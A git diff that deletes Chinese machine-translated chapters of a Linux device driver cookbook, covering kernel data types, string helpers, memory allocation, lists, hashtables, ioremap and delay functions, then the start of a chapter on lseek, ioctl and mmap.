-有时,内核代码需要特定大小的数据项,可能是为了匹配预定义的二进制结构,与用户空间通信,保存外设的寄存器数据,或者只是通过插入填充字段来对齐结构中的数据。 - -在本节中,我们将看到内核开发人员可以用来简化日常工作的一些特殊数据类型。在下面,我们将看到一个带有**固定大小数据类型**的示例,这对于定义某种数据非常有用,该数据旨在与设备或通信协议所期望的数据结构完全匹配;细心的读者会认识到,使用标准的 C 类型来定义这种固定大小的数据实体确实是不可能的,因为当我们使用类似的标准 C 类型(如`int`、`short`或`long`)时,C 标准并不能明确保证所有架构都有固定大小的表示。 - -每当我们需要知道数据的大小时,内核都会提供以下数据类型供我们使用(它们的实际定义取决于当前使用的体系结构,但它们在不同的体系结构中命名相同): - -* `u8`无符号字节(8 位) -* `u16`:无符号字(16 位) -* `u32`:无符号 32 位(32 位) -* `u64`:无符号 64 位(64 位) -* `s8`:有符号字节(8 位) -* `s16`:有符号字(16 位) -* `s32`:带符号 32 位(32 位) -* `s64`:有符号 64 位(64 位) - -也可能发生必须使用固定大小的数据类型与用户空间交换数据的情况;然而,在最后这种情况下,我们不能使用前面的类型,但是我们将不得不选择下面的替代数据类型,它们与前面的数据类型相同,但是可以在内核和用户空间中无差别地使用(这个概念在[第 7 章](07.html)*A*高级 Char Driver Operations* 中使用 ioctl()方法配方时会变得更加清晰):* - - ** `__u8`无符号字节(8 位) -* `__u16`:无符号字(16 位) -* `__u32`:无符号 32 位(32 位) -* `__u64`:无符号 64 位(64 位) -* `__s8`:有符号字节(8 位) -* `__s16`:有符号字(16 位) -* `__s32`:带符号 32 位(32 位) -* `__s64`:有符号 64 位(64 位) - -所有这些固定大小的类型都在头文件`linux/include/linux/types.h`中定义。 - -# 准备好 - -为了展示如何使用前面的数据类型,我们可以再次使用内核模块来执行一些内核代码,这些代码使用它们来定义结构中的寄存器映射。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 让我们看一下`data_type.c`文件,我们将所有代码放入模块的`init()`函数,如下所示: - -```sh -static int __init data_types_init(void) -{ - struct dtypes_s *ptr = (struct dtypes_s *) base_addr; - - pr_info("\tu8\tu16\tu32\tu64\n"); - pr_info("size\t%ld\t%ld\t%ld\t%ld\n", - sizeof(u8), sizeof(u16), sizeof(u32), sizeof(u64)); - - pr_info("name\tptr\n"); - pr_info("reg0\t%px\n", &ptr->reg0); - pr_info("reg1\t%px\n", &ptr->reg1); - pr_info("reg2\t%px\n", &ptr->reg2); - pr_info("reg3\t%px\n", &ptr->reg3); - pr_info("reg4\t%px\n", &ptr->reg4); - pr_info("reg5\t%px\n", &ptr->reg5); - - return -EINVAL; -} -``` - -# 它是如何工作的... - -在执行*步骤 1* 之后,指针`ptr`然后根据`base_addr`值被初始化,通过简单地引用`struct dtypes_s`的字段(在下面的代码中定义),我们可以指向正确的存储器地址: - -```sh -struct dtypes_s { - u32 reg0; - u8 pad0[2]; - u16 reg1; - u32 pad1[2]; - u8 reg2; - u8 reg3; - u16 reg4; - u32 reg5; -} __attribute__ ((packed)); -``` - -在结构定义过程中,我们应该意识到编译器可能会悄悄地在结构本身中插入填充,以确保每个字段都正确对齐,从而在目标处理器上获得良好的性能;避免这种行为的一种解决方法是告诉编译器必须打包该结构,并且不添加填充符。这当然可以用`__attribute__ ((packed))`来完成,和之前一样。 - -# 还有更多... - -如果我们希望验证这个步骤,我们可以通过测试代码来实现。我们只需要像往常一样编译模块,然后将其移动到 ESPRESSObin,最后插入内核,如下所示: - -```sh -# insmod data_types.ko -``` - -You should also get an error message as follows: -`insmod: ERROR: could not insert module data_types.ko: Invalid parameters` -However, this is due to the last `return -EINVAL` in the function `data_types_init()`; we used this as a trick, here and in the following, to force the kernel to remove the module after the module's `init()` function execution. - -我们进入内核消息的第一行是关于类型`u8`、`u16`、`u32`和`u64`的维度,如下所示: - -```sh -data_types:data_types_init: u8 u16 u32 u64 -data_types:data_types_init: size 1 2 4 8 -``` - -然后,以下几行(仍然在内核消息中)向我们展示了通过使用带有`u8`、`u16`、`u32`和`u64`的结构定义以及`__attribute__ ((packed))`语句可以实现的完美填充: - -```sh -data_types:data_types_init: name ptr -data_types:data_types_init: reg0 0000000080000000 -data_types:data_types_init: reg1 0000000080000006 -data_types:data_types_init: reg2 0000000080000010 -data_types:data_types_init: reg3 0000000080000011 -data_types:data_types_init: reg4 0000000080000012 -data_types:data_types_init: reg5 0000000080000014 -``` - -# 请参见 - -* 内核数据类型的一个很好的参考可以在[https://kernelnewbies.org/InternalKernelDataTypes](https://kernelnewbies.org/InternalKernelDataTypes)找到。 - -# 管理助手函数 - -在设备驱动开发过程中,我们可能需要连接一个字符串,或者计算它的长度,或者只是复制或移动一个内存区域(或一个字符串)。为了在用户空间中完成这些常见的操作,我们可以使用几个函数,比如`strcat()`、`strlen()`、`memcpy()`(或者`strcpy()`)等等,Linux 为我们提供了类似命名的函数,当然这些函数在内核中是安全可用的。(请注意,内核代码不能链接到 userspace glibc 库。) - -在这个食谱中,我们将看到如何使用一些内核助手来管理内核中的字符串。 - -# 准备好了 - -如果我们查看包含文件`linux/include/linux/string.h`的内核源代码,我们可以看到一长串常见的类似用户空间的实用函数,如下所示: - -```sh -#ifndef __HAVE_ARCH_STRCPY -extern char * strcpy(char *,const char *); -#endif -#ifndef __HAVE_ARCH_STRNCPY -extern char * strncpy(char *,const char *, __kernel_size_t); -#endif -#ifndef __HAVE_ARCH_STRLCPY -size_t strlcpy(char *, const char *, size_t); -#endif -#ifndef __HAVE_ARCH_STRSCPY -ssize_t strscpy(char *, const char *, size_t); -#endif -#ifndef __HAVE_ARCH_STRCAT -extern char * strcat(char *, const char *); -#endif -#ifndef __HAVE_ARCH_STRNCAT -extern char * strncat(char *, const char *, __kernel_size_t); -#endif -... -``` - -Note that each function is enclosed into `#ifndef`/`#endif` preprocessor condition clauses, because some of these functions can be implemented with some form of optimization for an architecture; therefore, their implementation may vary across different platforms. - -为了展示如何使用前面的助手函数,我们可以再次使用内核模块来执行使用其中一些函数的内核代码。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 在`helper_funcs.c`文件中,我们可以看到一些非常愚蠢的代码,它们举例说明了我们如何使用这些助手函数。 - -You are encouraged to modify this code to play with different kernel helper functions. - -2. 所有的工作都是在模块的`init()`功能中完成的,就像前面的部分一样。这里我们可以使用内核函数`strlen()`和`strncpy()`作为它们的用户空间对应物: - -```sh -static int __init helper_funcs_init(void) -{ - char str2[STR2_LEN]; - - pr_info("str=\"%s\"\n", str); - pr_info("str size=%ld\n", strlen(str)); - - strncpy(str2, str, STR2_LEN); - - pr_info("str2=\"%s\"\n", str2); - pr_info("str2 size=%ld\n", strlen(str2)); - - return -EINVAL; -} -``` - -这些函数是特殊的内核实现,它们不是我们在正常编程中通常使用的用户空间函数。我们不能把内核模块和 glibc 联系起来! - -3. `str`字符串定义为如下的模块参数,可以用来尝试不同的字符串: - -```sh -static char *str = "default string"; -module_param(str, charp, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(str, "a string value"); -``` - -# 还有更多... - -如果您希望测试配方中的代码,您可以通过编译它,然后将其移动到 ESPRESSObin 中来完成。 - -首先,我们必须将模块插入内核: - -```sh -# insmod helper_funcs.ko -``` - -You can safely ignore the following error message, as discussed previously: -`insmod: ERROR: could not insert module helper_funcs.ko: Invalid parameters` - -内核消息现在应该如下所示: - -```sh -helper_funcs:helper_funcs_init: str="default string" -helper_funcs:helper_funcs_init: str size=14 -helper_funcs:helper_funcs_init: str2="default string" -helper_funcs:helper_funcs_init: str2 size=14 -``` - -在前面的输出中,我们可以看到字符串`str2`只是`str`的副本。 - -但是,如果我们使用下面的`insmod`命令,输出将改变如下: - -```sh -# insmod helper_funcs.ko str=\"very very very loooooooooong string\" -helper_funcs:helper_funcs_init: str="very very very loooooooooong string" -helper_funcs:helper_funcs_init: str size=35 -helper_funcs:helper_funcs_init: str2="very very very loooooooooong str" -helper_funcs:helper_funcs_init: str2 size=32 -``` - -同样,字符串`str2`是`str`的副本,但其最大大小`STR2_LEN`定义如下: - -```sh -#define STR2_LEN 32 -``` - -# 请参见 - -* 对于更完整的字符串操作函数列表,一个好的起点是在[https://www.kernel.org/doc/htmldocs/kernel-api/ch02s02.html](https://www.kernel.org/doc/htmldocs/kernel-api/ch02s02.html)。 -* 关于字符串转换,可以看看[https://www . kernel . org/doc/html docs/kernel-API/libc . html # id-1 . 4 . 3](https://www.kernel.org/doc/htmldocs/kernel-api/libc.html#id-1.4.3)。 - -# 动态存储分配 - -一个好的设备驱动不应该支持一个以上的外设,也不应该支持固定数量的外设!然而,即使我们决定将驱动的使用限制在一个外围设备上,也可能会发生我们需要管理可变数量的数据块的情况,因此,无论如何,我们都需要能够管理**动态内存分配**。 - -在这个食谱中,我们将看到如何在内核空间中动态(安全地)分配内存块。 - -# 怎么做... - -为了展示我们如何通过使用`kmalloc()`、`vmalloc()`和`kvmalloc()`在内核中分配内存,我们可以再次使用内核模块。 - -在`mem_alloc.c`文件中,我们可以看到一些非常简单的代码,展示了内存分配是如何与相关的内存释放函数一起工作的: - -1. 所有的工作都像以前一样在模块的`init()`功能中完成。第一步是使用带有两个不同标志的`kmalloc()`,即`GFP_KERNEL`(可以休眠)和`GFP_ATOMIC`(不休眠然后可以在中断上下文中安全使用): - -```sh -static int __init mem_alloc_init(void) -{ - void *ptr; - - pr_info("size=%ldkbytes\n", size); - - ptr = kmalloc(size << 10, GFP_KERNEL); - pr_info("kmalloc(..., GFP_KERNEL) =%px\n", ptr); - kfree(ptr); - - ptr = kmalloc(size << 10, GFP_ATOMIC); - pr_info("kmalloc(..., GFP_ATOMIC) =%px\n", ptr); - kfree(ptr); -``` - -2. 然后,我们尝试使用`vmalloc()`分配内存: - -```sh - ptr = vmalloc(size << 10); - pr_info("vmalloc(...) =%px\n", ptr); - vfree(ptr); -``` - -3. 最后,我们通过使用带有两个不同标志的`kvmalloc()`来尝试两种不同的分配,即`GFP_KERNEL`(可以休眠)和`GFP_ATOMIC`(不休眠,然后可以在中断上下文中安全使用): - -```sh - ptr = kvmalloc(size << 10, GFP_KERNEL); - pr_info("kvmalloc(..., GFP_KERNEL)=%px\n", ptr); - kvfree(ptr); - - ptr = kvmalloc(size << 10, GFP_ATOMIC); - pr_info("kvmalloc(..., GFP_ATOMIC)=%px\n", ptr); - kvfree(ptr); - - return -EINVAL; -} -``` - -Note that, for each allocation function, we must use the related `free()` function! - -要分配的内存块的大小作为内核参数传递,如下所示: - -```sh -static long size = 4; -module_param(size, long, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(size, "memory size in Kbytes"); -``` - -# 还有更多... - -好的,就像你之前做的那样,编译这个模块,然后把它移到 ESPRESSObin。 - -如果我们尝试插入具有默认内存大小(即 4 KB)的模块,我们应该会得到以下内核消息: - -```sh -# insmod mem_alloc.ko -mem_alloc:mem_alloc_init: size=4kbytes -mem_alloc:mem_alloc_init: kmalloc(..., GFP_KERNEL) =ffff800079831000 -mem_alloc:mem_alloc_init: kmalloc(..., GFP_ATOMIC) =ffff800079831000 -mem_alloc:mem_alloc_init: vmalloc(...) =ffff000009655000 -mem_alloc:mem_alloc_init: kvmalloc(..., GFP_KERNEL)=ffff800079831000 -mem_alloc:mem_alloc_init: kvmalloc(..., GFP_ATOMIC)=ffff800079831000 -``` - -You can safely ignore the following error message as discussed earlier: -`insmod: ERROR: could not insert module mem_alloc.ko: Invalid parameters` - -这向我们表明,所有分配功能都成功地完成了它们的工作。 - -但是,如果我们尝试如下增加内存块,就会发生一些变化: - -```sh -root@espressobin:~# insmod mem_alloc.ko size=5000 -mem_alloc:mem_alloc_init: size=5000kbytes -mem_alloc:mem_alloc_init: kmalloc(..., GFP_KERNEL) =0000000000000000 -mem_alloc:mem_alloc_init: kmalloc(..., GFP_ATOMIC) =0000000000000000 -mem_alloc:mem_alloc_init: vmalloc(...) =ffff00000b9fb000 -mem_alloc:mem_alloc_init: kvmalloc(..., GFP_KERNEL)=ffff00000c135000 -mem_alloc:mem_alloc_init: kvmalloc(..., GFP_ATOMIC)=0000000000000000 -``` - -现在`kmalloc()`功能失败,而`vmalloc()`仍然成功,因为它在虚拟内存空间上分配了非连续的物理地址。另一方面,`kvmalloc()`在调用旗`GFP_KERNEL`时成功,而在调用旗`GFP_ATOMIC`时失败。(这是因为在这种特殊情况下不能使用`vmalloc()`作为回退。) - -# 请参见 - -* 关于内存分配的更多信息,一个很好的起点是[https://www . kernel . org/doc/html/latest/core-API/memory-allocation . html](https://www.kernel.org/doc/html/latest/core-api/memory-allocation.html)。 - -# 管理内核链表 - -在内核内部编程时,能够管理数据列表可能会很有用,因此,为了减少重复代码的数量,内核开发人员创建了一个标准的循环双向链表实现。 - -在这个食谱中,我们将看到如何使用 Linux 应用编程接口在我们的代码中使用列表。 - -# 准备好 - -为了演示列表应用编程接口是如何工作的,我们可以再次使用一个内核模块,在该模块的`init()`函数中执行一些操作,就像前面所做的那样。 - -# 怎么做... - -在`list.c`文件中,有我们的示例代码,其中所有游戏都在`list_init()`功能中进行: - -1. 作为第一步,让我们看一下实现列表元素的结构的声明和列表的标题: - -```sh -static LIST_HEAD(data_list); - -struct l_struct { - int data; - struct list_head list; -}; -``` - -2. 现在,在`list_init()`中,我们定义我们的元素: - -```sh -static int __init list_init(void) -{ - struct l_struct e1 = { - .data = 5 - }; - struct l_struct e2 = { - .data = 1 - }; - struct l_struct e3 = { - .data = 7 - }; -``` - -3. 然后,我们将第一个元素添加到列表中并打印出来: - -```sh - pr_info("add e1...\n"); - add_ordered_entry(&e1); - print_entries(); -``` - -4. 接下来,我们继续添加元素并打印列表: - -```sh - pr_info("add e2, e3...\n"); - add_ordered_entry(&e2); - add_ordered_entry(&e3); - print_entries(); -``` - -5. 最后,我们删除一个元素: - -```sh - pr_info("del data=5...\n"); - del_entry(5); - print_entries(); - - return -EINVAL; -} -``` - -6. 现在,让我们看看局部函数定义;要以有序模式添加元素,我们可以执行以下操作: - -```sh -static void add_ordered_entry(struct l_struct *new) -{ - struct list_head *ptr; - struct l_struct *entry; - - list_for_each(ptr, &data_list) { - entry = list_entry(ptr, struct l_struct, list); - if (entry->data < new->data) { - list_add_tail(&new->list, ptr); - return; - } - } - list_add_tail(&new->list, &data_list); -} -``` - -7. 同时,条目删除可以如下进行: - -```sh -static void del_entry(int data) -{ - struct list_head *ptr; - struct l_struct *entry; - - list_for_each(ptr, &data_list) { - entry = list_entry(ptr, struct l_struct, list); - if (entry->data == data) { - list_del(ptr); - return; - } - } -} -``` - -8. 最后,列表中所有元素的打印可以如下实现: - -```sh -static void print_entries(void) -{ - struct l_struct *entry; - - list_for_each_entry(entry, &data_list, list) - pr_info("data=%d\n", entry->data); -} -``` - -在最后一个函数中,我们使用宏`list_for_each_entry()`代替对`list_for_each()`和`list_entry()`,以获得更紧凑和可读的代码,这基本上执行相同的步骤。 - -宏在`linux/include/linux/list.h`文件中定义如下: - -```sh -/** - * list_for_each_entry - iterate over list of given type - * @pos: the type * to use as a loop cursor. - * @head: the head for your list. - * @member: the name of the list_head within the struct. - */ -#define list_for_each_entry(pos, head, member) \ - for (pos = list_first_entry(head, typeof(*pos), member); \ - &pos->member != (head); \ - pos = list_next_entry(pos, member)) -``` - -# 还有更多... - -我们可以在编译并插入 ESPRESSObin 的内核后测试代码。要插入内核,我们执行通常的`insmod`命令: - -```sh -# insmod list.ko -``` - -You can safely ignore the following error message as discussed earlier: -`insmod: ERROR: could not insert module list.ko: Invalid parameters` - -然后,在第一次插入之后,我们有下面的内核消息: - -```sh -list:list_init: add e1... -list:print_entries: data=5 -``` - -在*第 1 步*和*第 2 步*中,我们已经定义了列表的元素,而在*第 3 步*中,我们已经完成了列表的第一次插入,前面的消息是我们在插入之后得到的。 - -在*第 4 步*中第二次插入后,我们得到以下内容: - -```sh -list:list_init: add e2, e3... -list:print_entries: data=7 -list:print_entries: data=5 -list:print_entries: data=1 -``` - -最后,删除*步骤 5* 后,列表变成如下: - -```sh -list:list_init: del data=5... -list:print_entries: data=7 -list:print_entries: data=1 -``` - -请注意,在*第 6 步*中,我们展示了一个在有序模式下在列表中插入元素的可能实现,但是,当然,这取决于开发人员使用最佳解决方案。对于*步骤 7* 也可以做同样的考虑,我们已经实现了元素移除,而在*步骤 8* 中,我们有打印功能。 - -# 请参见 - -* 关于 Linux 的 list API 更完整的函数列表,可以在[https://www . kernel . org/doc/html docs/kernel-API/ADT . html # id-1 . 3 . 2](https://www.kernel.org/doc/htmldocs/kernel-api/adt.html#id-1.3.2)找到很好的参考。 - -# 使用内核哈希表 - -至于内核列表,Linux 为内核开发人员提供了一个管理哈希表的通用接口。它们的实现基于前一节中看到的内核列表的一个特殊版本,并被命名为`hlist`(它仍然是一个双向链表,但有一个指针列表头)。该应用编程接口在头文件`linux/include/linux/hashtable.h`中定义。 - -在这个食谱中,我们将展示如何使用 Linux 应用编程接口在内核代码中使用哈希表。 - -# 准备好 - -即使在这个配方中,我们也可以使用内核模块来查看测试代码是如何工作的。 - -# 怎么做... - -在`hashtable.c`文件中,实现了一个示例,该示例与前一节中提出的内核列表非常相似: - -1. 作为第一步,我们声明哈希表、数据结构和哈希函数如下: - -```sh -static DEFINE_HASHTABLE(data_hash, 1); - -struct h_struct { - int data; - struct hlist_node node; -}; - -static int hash_func(int data) -{ - return data % 2; -} -``` - -我们的哈希表只有两个桶,只是为了能够轻松命中一个碰撞,所以哈希函数的实现非常琐碎;它必须只返回值`0`或`1`。 - -2. 然后,在模块的`init()`功能中,我们定义我们的节点: - -```sh -static int __init hashtable_init(void) -{ - struct h_struct e1 = { - .data = 5 - }; - struct h_struct e2 = { - .data = 2 - }; - struct h_struct e3 = { - .data = 7 - }; -``` - -3. 然后,我们进行第一次插入,接着是数据打印: - -```sh - pr_info("add e1...\n"); - add_node(&e1); - print_nodes(); -``` - -4. 接下来,我们继续节点插入: - -```sh - pr_info("add e2, e3...\n"); - add_node(&e2); - add_node(&e3); - print_nodes(); -``` - -5. 最后,我们尝试删除节点: - -```sh - pr_info("del data=5\n"); - del_node(5); - print_nodes(); - - return -EINVAL; -} -``` - -6. 作为最后一步,我们可以看看节点的插入和移除功能: - -```sh -static void add_node(struct h_struct *new) -{ - int key = hash_func(new->data); - - hash_add(data_hash, &new->node, key); -} - -static void del_node(int data) -{ - int key = hash_func(data); - struct h_struct *entry; - - hash_for_each_possible(data_hash, entry, node, key) { - if (entry->data == data) { - hash_del(&entry->node); - return; - } - } -} -``` - -这两个函数需要密钥生成,以便确保向右桶添加节点或从右桶移除节点。 - -7. 哈希表打印可以使用`hash_for_each()`宏完成,如下所示: - -```sh -static void print_nodes(void) -{ - int key; - struct h_struct *entry; - - hash_for_each(data_hash, key, entry, node) - pr_info("data=%d\n", entry->data); -} -``` - -# 还有更多... - -同样,要测试代码,只需编译,然后将内核模块插入 ESPRESSObin。 - -在模块插入之后,在内核消息中,我们应该看到第一个输出行: - -```sh -# insmod ./hashtable.ko -hashtable:hashtable_init: add e1... -hashtable:print_nodes: data=5 -``` - -You can safely ignore the following error message as discussed earlier: -`insmod: ERROR: could not insert module hashtable.ko: Invalid parameters` - -在*第 1 步*和*第*步*第 2* 中,我们已经定义了哈希表的节点,而在*第 3 步*中,我们已经完成了对表的第一次插入,前面的代码是我们在插入之后得到的。 - -然后,我们在*步骤 4* 中执行第二次插入,其中我们添加两个节点,数据字段设置为`7`和`2`: - -```sh -hashtable:hashtable_init: add e2, e3... -hashtable:print_nodes: data=7 -hashtable:print_nodes: data=2 -hashtable:print_nodes: data=5 -``` - -最后,在*步骤 5* 中,我们移除将`data`字段设置为 5: - -```sh -hashtable:hashtable_init: del data=5 -hashtable:print_nodes: data=7 -hashtable:print_nodes: data=2 -``` - -请注意,在*步骤 6* 中,我们展示了哈希表中节点插入的可能实现。在*第 7 步*中,我们有打印功能。 - -# 请参见 - -* 关于内核哈希表的更多信息,一个好的起点(即使有点过时)是[https://lwn.net/Articles/510202/](https://lwn.net/Articles/510202/)。 - -# 访问输入/输出内存 - -在本食谱中,我们将了解如何访问中央处理器的内部外围设备或连接到中央处理器的任何其他内存映射设备。 - -# 准备好 - -这一次,我们将展示一个使用内核源代码中已经存在的一段代码的例子,所以现在没有什么可编译的,但是我们可以直接转到 ESPRESSObin 的内核源代码的根目录。 - -# 怎么做... - -1. 在`sunxi_reset_init()`函数的`linux/drivers/reset/reset-sunxi.c`文件中报告了一个关于如何进行内存重映射的非常简单的好例子,如下所示: - -```sh -static int sunxi_reset_init(struct device_node *np) -{ - struct reset_simple_data *data; - struct resource res; - resource_size_t size; - int ret; - - data = kzalloc(sizeof(*data), GFP_KERNEL); - if (!data) - return -ENOMEM; - - ret = of_address_to_resource(np, 0, &res); - if (ret) - goto err_alloc; -``` - -通过使用`of_address_to_resource()`函数,我们询问设备树,它是我们设备的内存映射,我们得到`res`结构中的结果。 - -2. 然后,我们使用`resource_size()`函数请求内存映射大小,然后我们调用`request_mem_region()`函数,以便请求内核独占访问`res.start`和`res.start+size-1`之间的内存地址: - -```sh - size = resource_size(&res); - if (!request_mem_region(res.start, size, np->name)) { - ret = -EBUSY; - goto err_alloc; - } -``` - -如果没有人发出同样的请求,该地区将被标记为由我们使用,标签名称存储在`np->name`中。 - -The name and memory region is now reserved for us and all this information can be retrieved from the`/proc/iomem` file, as will be shown in the next section. - -3. 经过前面所有的初步操作,我们最终可以调用实际执行重映射的`ioremap()`函数: - -```sh - data->membase = ioremap(res.start, size); - if (!data->membase) { - ret = -ENOMEM; - goto err_alloc; - } -``` - -在`data->membase`中,存储了我们可以用来访问设备寄存器的虚拟地址。 - -在头文件`linux/include/asm-generic/io.h`中定义了`ioremap()`及其对应的`iounmap()`的原型,当我们使用完该映射时必须使用该原型,如下所示: - -```sh -void __iomem *ioremap(phys_addr_t phys_addr, size_t size); - -void iounmap(void __iomem *addr); -``` - -Note that in `linux/include/asm-generic/io.h`, it is just reported that the implementation for systems that do not have an MMU due to the fact that each platform has its own implementation under the `linux/arch` directory. - -# 它是如何工作的... - -为了了解如何使用`ioremap()`,我们可以在`linux/drivers/tty/serial/mvebu-uart.c`文件中比较前面的代码和我们的 ESPRESSObin 的**通用异步接收器/发送器** ( **UART** )驱动,如下图所示: - -```sh -... - port->membase = devm_ioremap_resource(&pdev->dev, reg); - if (IS_ERR(port->membase)) - return -PTR_ERR(port->membase); -... - /* UART Soft Reset*/ - writel(CTRL_SOFT_RST, port->membase + UART_CTRL(port)); - udelay(1); - writel(0, port->membase + UART_CTRL(port)); -... -``` - -前面的代码是`mvebu_uart_probe()`函数的一部分,该函数在某个时候调用`devm_ioremap_resource()`函数,该函数执行与*步骤 1* 、*步骤 2* 和*步骤 3* 中呈现的函数的组合执行类似的步骤,即函数`of_address_to_resource()`、`request_mem_region()`和`ioremap()`同时执行:它从设备树中获取信息并进行内存重映射,保留那些寄存器仅供其独占使用。 -该注册(之前在*步骤 2* 中完成)可以在 procfs 文件`/proc/iomem`中进行检查,如下所示,我们看到存储区`d0012000-d00121ff`被分配给`serial@12000` : - -```sh -root@espressobin:~# cat /proc/iomem -00000000-7fffffff : System RAM -00080000-00faffff : Kernel code -010f0000-012a9fff : Kernel data -d0010600-d0010fff : spi@10600 -d0012000-d00121ff : serial@12000 -d0013000-d00130ff : nb-periph-clk@13000 -d0013200-d00132ff : tbg@13200 -d0013c00-d0013c1f : pinctrl@13800 -d0018000-d00180ff : sb-periph-clk@18000 -d0018c00-d0018c1f : pinctrl@18800 -d001e808-d001e80b : sdhci@d0000 -d0030000-d0033fff : ethernet@30000 -d0058000-d005bfff : usb@58000 -d005e000-d005ffff : usb@5e000 -d0070000-d008ffff : pcie@d0070000 -d00d0000-d00d02ff : sdhci@d0000 -d00e0000-d00e1fff : sata@e0000 -e8000000-e8ffffff : pcie@d0070000 -``` - -As already stated several times in this book, when we're in the kernel, nobody can really stop us from doing something; therefore, when I talk about *exclusive usage* of a memory area, the reader should imagine that this is true, if all programmers voluntarily refrain from issuing memory accesses on that area if a previous access request (like the ones issued previously) to an I/O memory area had failed. - -# 请参见 - -* 关于内存映射的更多信息,一个很好的起点是[https://Linux-kernel-labs . github . io/master/labs/memory _ mapping . html](https://linux-kernel-labs.github.io/master/labs/memory_mapping.html)[。](https://linux-kernel-labs.github.io/master/labs/memory_mapping.html) - -# 花时间在内核中 - -在本食谱中,我们将了解如何通过使用繁忙的循环或可能涉及暂停的更复杂的函数来延迟未来一段时间后的执行。 - -# 准备好了 - -即使在这个配方中,我们也可以使用内核模块来查看测试代码是如何工作的。 - -# 怎么做... - -在`time.c`文件中,我们可以找到一个简单的例子来说明前面的函数是如何工作的: - -1. 作为第一步,我们声明一个实用函数来获取一行代码的执行时间(以纳秒为单位): - -```sh -#define print_time(str, code) \ - do { \ - u64 t0, t1; \ - t0 = ktime_get_real_ns(); \ - code; \ - t1 = ktime_get_real_ns(); \ - pr_info(str " -> %lluns\n", t1 - t0); \ - } while (0) -``` - -这是一个简单的技巧,通过使用`ktime_get_real_ns()`函数定义一个执行一行代码同时花费其执行时间的宏,该函数返回以纳秒为单位的当前系统时间。 - -For further information regarding `ktime_get_real_ns()` and related functions, you can take a look at [https://www.kernel.org/doc/html/latest/core-api/timekeeping.html](https://www.kernel.org/doc/html/latest/core-api/timekeeping.html). - -2. 现在,对于模块的`init()`函数,我们可以使用我们的宏,然后调用前面所有的延迟函数,如下所示: - -```sh -static int __init time_init(void) -{ - pr_info("*delay() functions:\n"); - print_time("10ns", ndelay(10)); - print_time("10000ns", udelay(10)); - print_time("10000000ns", mdelay(10)); - - pr_info("*sleep() functions:\n"); - print_time("10000ns", usleep_range(10, 10)); - print_time("10000000ns", msleep(10)); - print_time("10000000ns", msleep_interruptible(10)); - print_time("10000000000ns", ssleep(10)); - - return -EINVAL; -} -``` - -# 还有更多... - -我们可以通过编译代码,然后将其插入 ESPRESSObin 内核来测试代码: - -```sh -# insmod time.ko -``` - -应使用*步骤 1* 中定义的宏打印出以下内核消息。这个宏只是使用`ktime_get_real_ns()`函数来获取传递到`code`参数的延迟函数的执行时间,这对于获取以纳秒为单位的当前内核时间非常有用: - -```sh -time:time_init: *delay() functions: -time:time_init: 10ns -> 480ns -time:time_init: 10000us -> 10560ns -time:time_init: 10000000ms -> 10387920ns -time:time_init: *sleep() functions: -time:time_init: 10000us -> 580720ns -time:time_init: 10000000ms -> 17979680ns -time:time_init: 10000000ms -> 17739280ns -time:time_init: 10000000000ms -> 10073738800ns -``` - -You can safely ignore the following error message as discussed earlier: -`insmod: ERROR: could not insert module time.ko: Invalid parameters` Note that the prompt will take 10 seconds before returning, due to the last call of the `ssleep(10)` function, which is not interruptible; so, even if we press *Ctrl* + *C*, we cannot stop the execution. - -检查前面的输出(从*第 2 步*开始),我们注意到`ndelay()`在短时间内没有预期的那么可靠,而`udelay()`和`mdelay()`工作得更好。关于`*sleep()`功能,我们不得不说,由于它们可以休眠,所以它们受到机器负载的严重影响。 - -# 请参见 - -* 关于延迟函数的更多信息,在`linux/Documentation/timers/timers-howto.txt`文件的内核文档中提供了一个很好的起点。* \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/07.md b/docs/linux-device-driver-dev-cb/07.md deleted file mode 100644 index 1447a85c..00000000 --- a/docs/linux-device-driver-dev-cb/07.md +++ /dev/null @@ -1,1433 +0,0 @@ -# 七、高级字符驱动操作 - -在前几章中,我们学习了一些在设备驱动开发中非常有用的东西;然而,还需要最后一步。我们必须了解如何为我们的角色设备添加高级功能,并充分理解如何将用户空间进程与外围输入/输出活动同步。 - -在本章中,我们将看到如何实现对`lseek()`、`ioctl()`和`mmap()`函数的系统调用,我们还将了解几种让进程休眠的技术,以防我们的外围设备还没有数据返回给它;因此,在本章中,我们将介绍以下食谱: - -* 使用 lseek()在文件中上下移动 -* 对自定义命令使用 ioctl() -* 使用 mmap()访问输入/输出内存 -* 锁定流程上下文 -* 锁定(和同步)中断上下文 -* 使用轮询()和选择()等待输入/输出操作 -* 使用 fasync()管理异步通知 - -# 技术要求 - -有关更多信息,请查看本章的附录部分。 - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 07](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_07)下载。 - -# 使用 lseek()在文件中上下移动 - -在本食谱中,我们将更好地了解如何操作`ppos`指针(在[第 3 章](03.html)、 *W* *中与字符驱动*交换数据的*食谱中描述),这与`read()`和`write()`系统调用实现有关。* - -# 准备好 - -为了提供一个关于`lseek()`实现的简单例子,我们可以使用`chapter_04/chrdev `目录中的设备树重用[第 4 章](04.html)、*中的`chrdev`驱动(我们需要 GitHub 存储库的`chrdev.c`和`chrdev-req.c`文件),在这里我们可以根据我们的设备内存布局简单地添加我们的自定义`llseek()`方法。* - -For simplicity, I just copied these files in the `chapter_07/chrdev/` directory, and reworked them. - -我们还需要修改 ESPRESSObin 的 DTS 文件,就像我们在第 4 章中用`chapter_04/chrdev/add_chrdev_devices.dts.patch `文件所做的那样,以便启用 chrdev 设备,然后,最后,我们可以重用在[第 3 章](03.html)、*中创建的`chrdev_test.c`程序,在`chapter_03/chrdev_test.c`文件中使用 Char Drivers* 作为我们的`lseek()`实现测试的基础程序。 - -关于 ESPRESSObin 的 DTS 文件,我们可以通过进入内核源代码,然后执行`patch`命令进行修补,如下所示: - -```sh -$ patch -p1 < ../github/chapter_04/chrdev/add_chrdev_devices.dts.patch -patching file arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -``` - -然后,我们必须重新编译内核并用前面的 DTS 重新安装它,就像我们在[第 1 章](01.html)中所做的那样,我*安装开发系统*,最后,重新启动系统。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 